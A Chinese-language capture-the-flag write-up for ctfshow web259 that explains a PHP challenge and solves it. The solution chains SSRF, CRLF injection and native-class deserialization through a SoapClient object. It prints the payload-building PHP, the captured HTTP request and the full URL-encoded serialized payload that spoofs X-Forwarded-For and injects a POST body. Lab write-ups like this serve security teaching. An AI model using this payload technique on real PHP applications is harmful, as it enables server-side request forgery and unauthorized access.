ctfshow web259
考察点:
1,SSRF
2,Cloudflare代理服务器
3,CRLF
4,原生类反序列化
解题过程:
<?php highlight_file(__FILE__); //flag.php $xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);// array_pop($xff); $ip = array_pop($xff); if($ip!=='127.0.0.1'){ die('error'); //bool }else{ $token = $_POST['token']; if($token=='ctfshow'){ file_put_contents('flag.txt',$flag); } } $vip = unserialize($_GET['vip']); //$vip =new bool(); //vip can get flag one key $vip->getFlag(); }
array_pop()函数:去除数组最后一个元素,返回数组的最后一个值。如果数组是空的,或者非数组,将返回 NULL。
介绍完函数,分析一下去获取flag的过程。 题目中 array_pop()函数 使用了两次,最后将ip赋给$ip,
这里说一下这个 array_pop()函数两次的过程
假设:
处理后
X-Forwarded-For:x ————>X-Forwarded-For:空
X-Forwarded-For:x,y ————>X-Forwarded-For:x
X-Forwarded-For:x,y,z ————>X-Forwarded-For:y
当我们主机去访问一个有couldflare的网站时,网站收到的访问者 IP 地址通常会被隐藏。Cloudflare 作为一个反向代理服务,通过其全球分布的边缘节点中继用户的请求。这样做的目的是保护网站的安全和隐私,防止直接暴露真实的 IP 地址。一般情况下,如果一个网站启用了 Cloudflare 并未进行额外的配置,它收到的访问者 IP 地址将是 Cloudflare 边缘节点的 IP 地址,而不是最终用户的真实 IP 地址。
尝试去想其他的方法,我们看到代码最后有一个 $vip->getFlag(),代码里面并没有getFlag()这个方法,想到了php的原生类,可以通过SoapCilent,这样就调用了__call魔术方法,这里我去学习了SoapCilent原生类,SoapClient
是 PHP 中用于访问 SOAP 服务的类。通过 SoapClient
类,PHP 可以在 Web 服务之间进行通信,从而实现远程过程调用(RPC)
先在本地测试http请求头都需要修改什么东西,
<?php $client=new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:9999/flag.php')); $client->AAA(); ?>
在本地监听9999端口
POST /flag.php HTTP/1.1 Host: 127.0.0.1:9999 Connection: Keep-Alive User-Agent: PHP-SOAP/7.0.12 Content-Type: text/xml; charset=utf-8 SOAPAction: "127.0.0.1#AAA" Content-Length: 372
我们用\r\n去通过 User-Agent:去构造我们后面想要的头部 在本地测试一下效果,
<?php $ua="test\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow"; $client=new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:9999/flag.php','user_agent'=>$ua)); $client->AAA(); //echo urlencode(serialize($client)); ?>
效果:
POST /flag.php HTTP/1.1 Host: 127.0.0.1:9999 Connection: Keep-Alive User-Agent: test X-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1//因为本地没加函数 Content-Type:application/x-www-form-urlencoded Content-Length: 13 token=ctfshow//长度13 下面的丢弃 Content-Type: text/xml; charset=utf-8 SOAPAction: "127.0.0.1#AAA" Content-Length: 372
题目测试:
http://4b52a02f-df92-4045-997b-3fe2208d5bad.challenge.ctf.show/?vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A136%3A%22test%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D 成功执行,可以访问flag.txt了 ctfshow{e1c60ce6-b350-4fb5-961d-fe86246bee4c}
总结: